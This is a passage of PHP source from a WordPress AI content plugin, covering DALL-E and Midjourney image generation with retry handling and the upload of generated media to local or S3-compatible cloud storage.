                            'data_format' => 'body',
                            'timeout'     => AIOMATIC_DEFAULT_BIG_TIMEOUT,
                        )
                    );
                    remove_action('http_api_curl', 'aiomatic_add_proxy');
                    if(is_wp_error( $api_call ))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after initial DALLE response: ' . print_r($api_call, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, intval($retry_count) + 1, $error, $image_model);
                        }
                        else
                        {
                            $error = 'Failed to get DallE API response: ' . print_r($api_call, true);
                            $error = apply_filters('aiomatic_modify_ai_error', $error);
                            return false;
                        }
                    }
                    else
                    {
                        $result = json_decode( $api_call['body'] );
                        if($result === null)
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after decode DALLE response: ' . print_r($api_call['body'], true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, intval($retry_count) + 1, $error, $image_model);
                            }
                            else
                            {
                                $error = 'Failed to decode initial DallE API response: ' . print_r($api_call, true);
                                $error = apply_filters('aiomatic_modify_ai_error', $error);
                                return false;
                            }
                        }
                        else
                        {
                            $is_error = false;
                            $sleep_time = false;
                            if(isset($result->error))
                            {
                                $result = $result->error;
                                $is_error = true;
                            }
                            if($is_error && isset($result->type))
                            {
                                if($result->type == 'insufficient_quota')
                                {
                                    $error = 'You exceeded your OpenAI quota limit for images. To fix this, if you are using a free OpenAI account, you need to add a VISA card to your account, as OpenAI heavily limits free accounts. Please check details here: https://platform.openai.com/docs/guides/rate-limits';
                                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                                    return false;
                                }
                                elseif($result->type == 'invalid_request_error')
                                {
                                    $error = 'Error: Invalid request submitted to the image API, result: ' . print_r($result, true);
                                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                                    return false;
                                }
                                else
                                {
                                    if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                    {
                                        if(isset($result->code) && $result->code == 'rate_limit_exceeded')
                                        {
                                            $errmessage = $result->message;
                                            preg_match_all('#Rate limit reached for.*?in organization.*?Please try again in ([\d.]*?)s#i', $errmessage, $htmlrez);
                                            if(isset($htmlrez[1][0]))
                                            {
                                                $sleep_time = ceil(floatval($htmlrez[1][0]));
                                                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                                                {
                                                    aiomatic_log_to_file('Rate limit reached for model: ' . $model . ', sleeping for: ' . $sleep_time . ' seconds');
                                                }
                                                sleep($sleep_time);
                                            }
                                        }
                                        aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after type DALLE response: ' . print_r($api_call['body'], true));
                                        if($sleep_time === false)
                                        {
                                            sleep(pow(2, $retry_count));
                                        }
                                        return aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, intval($retry_count) + 1, $error, $image_model);
                                    }
                                    else
                                    {
                                        $error = 'An error occurred when initially calling OpenAI API, no type found: ' . print_r($result, true);
                                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                                        return false;
                                    }
                                }
                            }
                            if(!isset($result->data))
                            {
                                if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                {
                                    aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after data DALLE response: ' . print_r($api_call['body'], true));
                                    sleep(pow(2, $retry_count));
                                    return aiomatic_generate_ai_image($token, $number, $prompt, $size, $env, $nocopy, intval($retry_count) + 1, $error, $image_model);
                                }
                                else
                                {
                                    $error = 'An error occurred when initially calling OpenAI data API: ' . print_r($result, true);
                                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                                    return false;
                                }
                            }
                            else
                            {
                                $result = apply_filters( 'aiomatic_dalle_reply_raw', $result, $prompt );
                                foreach($result->data as $rdata)
                                {
                                    apply_filters( 'aiomatic_ai_reply', $rdata->url, $query );
                                    if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $nocopy === false) 
                                    {
                                        $localpath = aiomatic_copy_image_locally($rdata->url);
                                        if($localpath !== false)
                                        {
                                            if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'on')
                                            {
                                                if (isset($localpath[1]) && (isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '') || (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== ''))
                                                {
                                                    try
                                                    {
                                                        if(!class_exists('\Eventviva\ImageResize')){require_once (dirname(__FILE__) . "/res/ImageResize/ImageResize.php");}
                                                        $imageRes = new ImageResize($localpath[1]);
                                                        if (isset($aiomatic_Main_Settings['ai_resize_quality']) && $aiomatic_Main_Settings['ai_resize_quality'] !== '')
                                                        {
                                                            $imageRes->quality_jpg = intval($aiomatic_Main_Settings['ai_resize_quality']);
                                                        }
                                                        else
                                                        {
                                                            $imageRes->quality_jpg = 100;
                                                        }
                                                        if ((isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '') && (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== ''))
                                                        {
                                                            $imageRes->resizeToBestFit($aiomatic_Main_Settings['ai_resize_width'], $aiomatic_Main_Settings['ai_resize_height'], true);
                                                        }
                                                        elseif (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== '')
                                                        {
                                                            $imageRes->resizeToWidth($aiomatic_Main_Settings['ai_resize_width'], true);
                                                        }
                                                        elseif (isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '')
                                                        {
                                                            $imageRes->resizeToHeight($aiomatic_Main_Settings['ai_resize_height'], true);
                                                        }
                                                        $imageRes->save($localpath[1]);
                                                    }
                                                    catch(Exception $e)
                                                    {
                                                        aiomatic_log_to_file('Failed to resize AI generated image: ' . $localpath[0] . ' to sizes ' . $aiomatic_Main_Settings['ai_resize_width'] . ' - ' . $aiomatic_Main_Settings['ai_resize_height'] . '. Exception thrown ' . esc_html($e->getMessage()) . '!');
                                                    }
                                                }
                                            }
                                            $return_arr[] = $localpath[0];
                                        }
                                        else
                                        {
                                            $return_arr[] = $rdata->url;
                                        }
                                    }
                                    else
                                    {
                                        $return_arr[] = $rdata->url;
                                    }
                                }
                            }
                        }
                    }
                }
                return $return_arr;
            }
            
            function aiomatic_generate_ai_image_midjourney($prompt, $width, $height, $env, $nocopy, &$error)
            {
                $return_url = false;
                $is_allowed = apply_filters('aiomatic_is_ai_image_allowed', true, $prompt);
                if ( $is_allowed !== true ) {
                    $error = is_string( $is_allowed ) ? $is_allowed : esc_html__('You are not allowed to do this query', 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if (!isset($aiomatic_Main_Settings['midjourney_app_id']) || trim($aiomatic_Main_Settings['midjourney_app_id']) == '')
                { 
                    $error = 'GoAPI API key is needed to be entered for this feature to work!';
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['midjourney_app_id']));
                $appids = array_filter($appids);
                $token = $appids[array_rand($appids)];
                if (!isset($aiomatic_Main_Settings['midjourney_image_model']) || trim($aiomatic_Main_Settings['midjourney_image_model']) == '')
                {
                    $image_model = 'fast';
                }
                else
                {
                    $image_model = trim($aiomatic_Main_Settings['midjourney_image_model']);
                }
                
                $prompt = apply_filters('aiomatic_modify_ai_image_query', $prompt);
                $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false);
                $stop = null;
                $session = aiomatic_get_session_id();
                $mode = 'image';
                $maxResults = 1;
                $temperature = 1;
                $query = new Aiomatic_Query($prompt, 1000, $image_model, $temperature, $stop, $env, $mode, $token, $session, $maxResults, $width . 'x' . $height, '');
                $ok = apply_filters( 'aiomatic_ai_allowed', true, $aiomatic_Limit_Settings );
                if ( $ok !== true ) 
                {
                    $error = $ok;
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $delay = '';
                if(!isset($aiomatic_Main_Settings['no_img_translate']) || $aiomatic_Main_Settings['no_img_translate'] != 'on')
                {
                    $text_trans = aiomatic_translate_stability($prompt);
                    if($text_trans != $prompt && !empty($text_trans))
                    {
                        aiomatic_log_to_file('Dall-E prompt translated from: "' . $prompt . '" to: "' . $text_trans . '"');
                        $prompt = $text_trans;
                    }
                }
                $prompt = trim($prompt);
                if($prompt == '')
                {
                    $error = esc_html__('Empty prompt added to image generator', 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                if(strlen($prompt) > 30000)
                {
                    $prompt = aiomatic_substr($prompt, 0, 30000);
                }
                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on' && AIOMATIC_IS_DEBUG === true)
                {
                    aiomatic_log_to_file('Generating AI Image using GoAPI Midjourney prompt: ' . $prompt);
                }
                if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') 
                {
                    if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false)
                    {
                        $tempo = explode(',', $aiomatic_Main_Settings['request_delay']);
                        if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0])))
                        {
                            $delay = rand(trim($tempo[0]), trim($tempo[1]));
                        }
                    }
                    else
                    {
                        if(is_numeric(trim($aiomatic_Main_Settings['request_delay'])))
                        {
                            $delay = intval(trim($aiomatic_Main_Settings['request_delay']));
                        }
                    }
                }
                if($delay != '' && is_numeric($delay))
                {
                    usleep($delay);
                }
                $imagineUrl = 'https://api.midjourneyapi.xyz/mj/v2/imagine'; 
                $ch = curl_init($imagineUrl); 
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
                curl_setopt($ch, CURLOPT_POST, true); 
                curl_setopt($ch, CURLOPT_HTTPHEADER, [ 
                    "X-API-KEY: " . $token, 
                ]); 
                if($width > $height)
                {
                    $aspect_ratio = '16:9';
                }
                elseif($width < $height)
                {
                    $aspect_ratio = '9:16';
                }
                else
                {
                    $aspect_ratio = '1:1';
                }
                curl_setopt( 
                    $ch, 
                    CURLOPT_POSTFIELDS, 
                    json_encode([ 
                        "prompt" => $prompt, 
                        "aspect_ratio" => $aspect_ratio, 
                        "process_mode" => $image_model, 
                        "webhook_endpoint" => "", 
                        "webhook_secret" => ""
                    ]) 
                ); 
                $response = curl_exec($ch); 
                curl_close($ch); 
                if($response === false)
                {
                    $error = esc_html__('Failed to execute the Midjourney task!', 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $response = str_replace('"', '"', $response);
                $task = json_decode($response, true); 
                $taskId = $task["task_id"]; 
                if (empty($taskId)) 
                { 
                    $error = esc_html__('Failed to create the Midjourney task! ' . print_r($response, true), 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $fetchUrl = 'https://api.midjourneyapi.xyz/mj/v2/fetch'; 
                $ch = curl_init($fetchUrl); 
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
                curl_setopt($ch, CURLOPT_POST, true); 
                curl_setopt($ch, CURLOPT_HTTPHEADER, [ 
                    "Content-Type: application/json", 
                ]); 
                curl_setopt( 
                    $ch, 
                    CURLOPT_POSTFIELDS, 
                    json_encode(["task_id" => $taskId]) 
                ); 
                $timeout = 300;
                $start_time = time();
                $fetchResult = array();
                $fetchResult["status"] = 'not_started';
                while ($fetchResult["status"] !== "finished" && $fetchResult["status"] !== "failed" && $start_time + $timeout >= time()) 
                {
                    $fetchResponse = curl_exec($ch); 
                    if($fetchResponse === false)
                    {
                        $error = esc_html__('Failed to check the Midjourney task!', 'aiomatic-automatic-ai-content-writer');
                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                    $fetchResult = json_decode($fetchResponse, true); 
                    sleep(3); 
                } 
                curl_close($ch); 
                if ( $fetchResult["status"] !== "finished" ) 
                { 
                    $error = esc_html__('Error during GoAPI fetch call: ', 'aiomatic-automatic-ai-content-writer') . print_r($fetchResult, true);
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $upscaleUrl = 'https://api.midjourneyapi.xyz/mj/v2/upscale'; 
                $ch = curl_init($upscaleUrl); 
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
                curl_setopt($ch, CURLOPT_POST, true); 
                curl_setopt($ch, CURLOPT_HTTPHEADER, [ 
                    "X-API-KEY: " . $token, 
                ]); 
                curl_setopt( 
                    $ch, 
                    CURLOPT_POSTFIELDS, 
                    json_encode([ 
                        "origin_task_id" => $taskId, 
                        "index" => "1", 
                    ]) 
                ); 
                $upscaleResponse = curl_exec($ch); 
                curl_close($ch); 
                if($upscaleResponse === false)
                {
                    $error = esc_html__('Failed to execute the Midjourney upscale task!', 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $upscaleResponse = str_replace('"', '"', $upscaleResponse);
                $upscaleTask = json_decode($upscaleResponse, true); 
                $upscaleTaskId = $upscaleTask["task_id"]; 
                if (empty($upscaleTaskId)) { 
                    $error = esc_html__('Failed to get upscale API response', 'aiomatic-automatic-ai-content-writer');
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                $ch = curl_init($fetchUrl); 
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 
                curl_setopt($ch, CURLOPT_POST, true); 
                curl_setopt($ch, CURLOPT_HTTPHEADER, [ 
                    "Content-Type: application/json", 
                ]); 
                curl_setopt( 
                    $ch, 
                    CURLOPT_POSTFIELDS, 
                    json_encode(["task_id" => $upscaleTaskId]) 
                ); 
                $timeout = 300;
                $start_time = time();
                $fetchResult = array();
                $fetchResult["status"] = 'not_started';
                while ($fetchResult["status"] !== "finished" && $fetchResult["status"] !== "failed" && $start_time + $timeout >= time()) 
                {
                    $fetchResponse = curl_exec($ch); 
                    if($fetchResponse === false)
                    {
                        $error = esc_html__('Failed to check the Midjourney task!', 'aiomatic-automatic-ai-content-writer');
                        $error = apply_filters('aiomatic_modify_ai_error', $error);
                        return false;
                    }
                    $fetchResponse = str_replace('"', '"', $fetchResponse);
                    $fetchResult = json_decode($fetchResponse, true); 
                    sleep(3); 
                } 
                curl_close($ch); 
                if ( $fetchResult["status"] !== "finished" || !isset($fetchResult["task_result"]["image_url"]) ) 
                { 
                    $error = esc_html__('Error during GoAPI call: ', 'aiomatic-automatic-ai-content-writer') . print_r($fetchResult, true);
                    $error = apply_filters('aiomatic_modify_ai_error', $error);
                    return false;
                }
                apply_filters( 'aiomatic_ai_reply', $fetchResult["task_result"]["image_url"], $query );
                if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $nocopy === false) 
                {
                    $localpath = aiomatic_copy_image_locally($fetchResult["task_result"]["image_url"]);
                    if($localpath !== false)
                    {
                        if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'on')
                        {
                            if (isset($localpath[1]) && (isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '') || (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== ''))
                            {
                                try
                                {
                                    if(!class_exists('\Eventviva\ImageResize')){require_once (dirname(__FILE__) . "/res/ImageResize/ImageResize.php");}
                                    $imageRes = new ImageResize($localpath[1]);
                                    if (isset($aiomatic_Main_Settings['ai_resize_quality']) && $aiomatic_Main_Settings['ai_resize_quality'] !== '')
                                    {
                                        $imageRes->quality_jpg = intval($aiomatic_Main_Settings['ai_resize_quality']);
                                    }
                                    else
                                    {
                                        $imageRes->quality_jpg = 100;
                                    }
                                    if ((isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '') && (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== ''))
                                    {
                                        $imageRes->resizeToBestFit($aiomatic_Main_Settings['ai_resize_width'], $aiomatic_Main_Settings['ai_resize_height'], true);
                                    }
                                    elseif (isset($aiomatic_Main_Settings['ai_resize_width']) && $aiomatic_Main_Settings['ai_resize_width'] !== '')
                                    {
                                        $imageRes->resizeToWidth($aiomatic_Main_Settings['ai_resize_width'], true);
                                    }
                                    elseif (isset($aiomatic_Main_Settings['ai_resize_height']) && $aiomatic_Main_Settings['ai_resize_height'] !== '')
                                    {
                                        $imageRes->resizeToHeight($aiomatic_Main_Settings['ai_resize_height'], true);
                                    }
                                    $imageRes->save($localpath[1]);
                                }
                                catch(Exception $e)
                                {
                                    aiomatic_log_to_file('Failed to resize AI generated image: ' . $localpath[0] . ' to sizes ' . $aiomatic_Main_Settings['ai_resize_width'] . ' - ' . $aiomatic_Main_Settings['ai_resize_height'] . '. Exception thrown ' . esc_html($e->getMessage()) . '!');
                                }
                            }
                        }
                        $return_url = $localpath[0];
                    }
                    else
                    {
                        $return_url = $fetchResult["task_result"]["image_url"];
                    }
                }
                else
                {
                    $return_url = $fetchResult["task_result"]["image_url"];
                }
                return $return_url;
            } 
            function aiomatic_check_video_locally($filename)
            {
                $extension = 'mp4';
                $upload_dir = wp_upload_dir();
                global $wp_filesystem;
                if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                    include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                    wp_filesystem($creds);
                }
                if (wp_mkdir_p($upload_dir['path']))
                {
                    $file = $upload_dir['path'] . '/' . $filename . '.' . $extension;
                    $ret_path = $upload_dir['url'] . '/' . $filename . '.' . $extension;
                }
                else
                {
                    $file = $upload_dir['basedir'] . '/' . $filename . '.' . $extension;
                    $ret_path = $upload_dir['baseurl'] . '/' . $filename . '.' . $extension;
                }
                if($wp_filesystem->exists($file))
                {
                    return $ret_path;
                }
                return false;
            }
            function aiomatic_copy_audio_stream_locally($stream, $filename, $location = 'local')
            {
                $filesize = strlen($stream);
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                if($location == 'local')
                {
                    $upload_dir = wp_upload_dir();
                    global $wp_filesystem;
                    if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){
                        include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() );
                        wp_filesystem($creds);
                    }
                    if (wp_mkdir_p($upload_dir['path']))
                    {
                        $file = $upload_dir['path'] . '/' . $filename;
                        $ret_path = $upload_dir['url'] . '/' . $filename;
                    }
                    else
                    {
                        $file = $upload_dir['basedir'] . '/' . $filename;
                        $ret_path = $upload_dir['baseurl'] . '/' . $filename;
                    }
                    if($wp_filesystem->exists($file))
                    {
                        unlink($file);
                    }
                    
                    $ret = $wp_filesystem->put_contents($file, $stream);
                    if ($ret === FALSE) {
                        return false;
                    }
                    $wp_filetype = wp_check_filetype( $filename, null );
                    $attachment = array(
                    'post_mime_type' => $wp_filetype['type'],
                    'post_title' => sanitize_file_name( $filename ),
                    'post_content' => '',
                    'post_status' => 'inherit'
                    );
                    $attach_id = wp_insert_attachment( $attachment, $file );
                    require_once(ABSPATH . 'wp-admin/includes/image.php');
                    require_once(ABSPATH . 'wp-admin/includes/media.php');
                    $attach_data = wp_generate_attachment_metadata( $attach_id, $file );
                    wp_update_attachment_metadata( $attach_id, $attach_data );
                    return array($ret_path, $file);
                }
                elseif($location == 'amazon')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['bucket_name']) || trim($aiomatic_Main_Settings['bucket_name']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 bucket_name for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['s3_user']) || trim($aiomatic_Main_Settings['s3_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 s3_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['s3_pass']) || trim($aiomatic_Main_Settings['s3_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 s3_pass for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['bucket_region']) || trim($aiomatic_Main_Settings['bucket_region']) == '')
                    {
                        $aiomatic_Main_Settings['bucket_region'] = 'eu-central-1';
                    }
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['s3_user']), 'secret' => trim($aiomatic_Main_Settings['s3_pass']));
                        $s3 = new S3Client([
                            'version' => 'latest',
                            'region'  => trim($aiomatic_Main_Settings['bucket_region']),
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['drive_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['drive_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        $obj_arr = [
                            'Bucket' => trim($aiomatic_Main_Settings['bucket_name']),
                            'Key'    => $s3_remote_path . $filename,
                            'Body'   => $stream,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL'], '');
                        }
                        else
                        {
                            aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                            return false;
                        }
                    }
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage());
                        return false;
                    } 
                }
                elseif($location == 'wasabi')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_bucket']) || trim($aiomatic_Main_Settings['wasabi_bucket']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 wasabi_bucket for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_region']) || trim($aiomatic_Main_Settings['wasabi_region']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 wasabi_region for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_user']) || trim($aiomatic_Main_Settings['wasabi_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 wasabi_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['wasabi_pass']) || trim($aiomatic_Main_Settings['wasabi_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 wasabi_pass for this to work!');
                        return false;
                    }
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['wasabi_user']), 'secret' => trim($aiomatic_Main_Settings['wasabi_pass']));
                        $s3 = new S3Client([
                            'endpoint' => "https://" . trim($aiomatic_Main_Settings['wasabi_bucket']) . ".s3." . trim($aiomatic_Main_Settings['wasabi_region']) . ".wasabisys.com/",
                            'bucket_endpoint' => true,
                            'version' => 'latest',
                            'region'  => trim($aiomatic_Main_Settings['wasabi_region']),
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['wasabi_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['wasabi_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        $obj_arr = [
                            'Bucket' => trim($aiomatic_Main_Settings['wasabi_bucket']),
                            'Key'    => $s3_remote_path . $filename,
                            'Body'   => $stream,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL'], '');
                        }
                        else
                        {
                            aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                            return false;
                        }
                    }
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage());
                        return false;
                    } 
                }
                elseif($location == 'cloudflare')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_bucket']) || trim($aiomatic_Main_Settings['cloud_bucket']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 cloud_bucket for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_account']) || trim($aiomatic_Main_Settings['cloud_account']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 cloud_account for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_user']) || trim($aiomatic_Main_Settings['cloud_user']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 cloud_user for this to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['cloud_pass']) || trim($aiomatic_Main_Settings['cloud_pass']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 cloud_pass for this to work!');
                        return false;
                    }
                    try
                    {
                        $credentials = array('key' => trim($aiomatic_Main_Settings['cloud_user']), 'secret' => trim($aiomatic_Main_Settings['cloud_pass']));
                        $s3 = new S3Client([
                            'endpoint' => "https://" . trim($aiomatic_Main_Settings['cloud_account']) . ".r2.cloudflarestorage.com",
                            'bucket_endpoint' => true,
                            'version' => 'latest',
                            'region' => 'us-east-1',
                            'credentials' => $credentials
                        ]);
                    }
                    catch(Exception $e)
                    {
                        aiomatic_log_to_file('Failed to initialize Amazon S3 API: ' . $e->getMessage());
                        return false;
                    }
                    if (trim($aiomatic_Main_Settings['cloud_directory']) != '') {
                        $s3_remote_path = trim(trim($aiomatic_Main_Settings['cloud_directory']), '/');
                        $s3_remote_path = trailingslashit($s3_remote_path);
                    }
                    else
                    {
                        $s3_remote_path = '';
                    }
                    try 
                    {
                        $obj_arr = [
                            'Bucket' => trim($aiomatic_Main_Settings['cloud_bucket']),
                            'Key'    => $s3_remote_path . $filename,
                            'Body'   => $stream,
                            'Content-Length' => $filesize,
                            'ContentLength' => $filesize
                        ];
                        $obj_arr['ACL'] = 'public-read';
                        $awsret = $s3->putObject($obj_arr);
                        if(isset($awsret['ObjectURL']))
                        {
                            return array($awsret['ObjectURL'], '');
                        }
                        else
                        {
                            aiomatic_log_to_file("Failed to decode Amazon S3 API response: " . print_r($awsret, true));
                            return false;
                        }
                    }
                    catch (Exception $e) 
                    {
                        aiomatic_log_to_file("There was an error uploading the file " . $image_url . " to Amazon S3: " . $e->getMessage());
                        return false;
                    } 
                }
                elseif($location == 'digital')
                {
                    if(!function_exists('is_plugin_active'))
                    {
                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                    }
                    if (!is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) 
                    {
                        aiomatic_log_to_file('You need enable the "Aiomatic Extension: Amazon S3 Storage" plugin for this feature to work!');
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['digital_endpoint']) || trim($aiomatic_Main_Settings['digital_endpoint']) == '')
                    {
                        aiomatic_log_to_file('You need to enter a Amazon S3 digital_endpoint for this to work!');
                        return false;
                    }
